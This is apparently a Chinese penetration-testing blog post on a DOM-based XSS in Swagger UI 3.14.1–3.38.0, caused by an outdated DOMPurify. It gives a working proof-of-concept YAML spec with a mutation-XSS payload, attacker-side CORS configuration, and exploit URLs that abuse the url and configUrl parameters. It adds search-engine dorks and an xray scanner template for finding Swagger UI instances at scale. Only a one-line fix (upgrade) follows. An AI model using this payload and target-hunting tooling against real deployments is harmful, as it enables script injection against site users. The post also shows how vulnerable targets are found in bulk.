渗透技巧基于Swagger-UI的XSS

免责声明：

  本文章仅供学习和研究使用，严禁使用该文章内容对互联网其他应用进行非法操作，若将其用于非法目的，所造成的后果由您自行承担，产生的一切风险与本文作者无关，如继续阅读该文章即表明您默认遵守该内容。

漏洞简述：

  swagger-ui是一个允许 API 交互和可视化的库，Swagger-UI有一个特性它允许您向 API 规范提供URL一个yaml或json文件（例如http://swagger-server/swagger-ui.html?url=https://your_api_spec/spec.yaml、http://swagger-server/swagger-ui.html?configUrl=https://your_api_spec/file.json），它将被获取并显示给用户。该漏洞产生的原因是swagger-ui使用了一个过时的库DomPurify（DOMPurify是一个开源的基于DOM的快速XSS净化工具。输入HTML元素，然后通过DOM解析递归元素节点，进行净化，输出安全的HTML。），结合库的特性允许获得由查询参数控制的DOM型XSS。

受影响的版本：

• Swagger UI versions affected with the XSS: >=3.14.1 < 3.38.0

漏洞实现

具体分析过程可以看原文

POC

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts

复现的时候踩了个坑
如果提示这个错误是因为无法跨域导致的，把Access-Control-Allow-Origin设置为*即可。
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

我这里使用的是apache设置配置文件httpd.conf，最后一行添加即可

<IfModule mod_headers.c>

    Header set Access-Control-Allow-Origin: "*"
    
    Header set Access-Control-Allow-Methods: "GET,POST,PUT,DELETE,OPTIONS"
    
    Header set Access-Control-Allow-Headers: "Content-Type"

</IfModule>

yaml文件配置

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts

json文件配置

{
    "url": "http://IP/test.yaml",
    "urls": [
        {
            "url": "http://IP/test.yaml",
            "name": "Foo"
        }
    ]
}

漏洞利用

• http://attack-ip/swagger-ui.html?url=http://self-ip/test.yaml
• http://attack-ip/swagger-ui.html?configUrl=http://self-ip/test.json

如何大规模找到 Swagger UI

Google

搜索：intext:"Swagger UI" intitle:"Swagger UI" site:yourarget.com

FOFA

语句：title="Swagger UI"

XRAY

也可以改一改直接扫可以执行XSS的，这是之前写的懒得改了。

name: poc-yaml-swagger_ui
manual: true
transport: http
rules:
    r0:
        request:
            method: GET
            path: /swagger/index.html
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r1:
        request:
            method: GET
            path: /swagger-ui.html
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r2:
        request:
            method: GET
            path: /v2/api-docs
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r3:
        request:
            method: GET
            path: /api-doc
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r4:
        request:
            method: GET
            path: /index.html
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r5:
        request:
            method: GET
            path: /v2/swagger.json
        expression: |
            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")
    r6:
        request:
            method: GET
            path: /v1/swagger.json
        expression: |
            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")
    r7:
        request:
            method: GET
            path: /api/swagger.json
        expression: |
            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")
    r8:
        request:
            method: GET
            path: /swagger/ui/index
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r9:
        request:
            method: GET
            path: /api/swagger-ui.html
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r10:
        request:
            method: GET
            path: /swagger/swagger-ui.html
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r11:
        request:
            method: GET
            path: /actuator/swagger-ui.html
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
    r12:
        request:
            method: GET
            path: /swagger/v1/swagger.json
        expression: |
            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")
expression: |
    r0() || r1() || r2() || r3() || r4() || r5() || r6() || r7() || r8() || r9() || r10() || r11() || r12()
detail:
    author: zhibing
    links: 
        - https://github.com/zhibx
    description: swagger_ui

使用抖音扫一扫关注我，带你学习网安知识，渗透实战，红队技巧。

修复

1.升级Swagger-UI。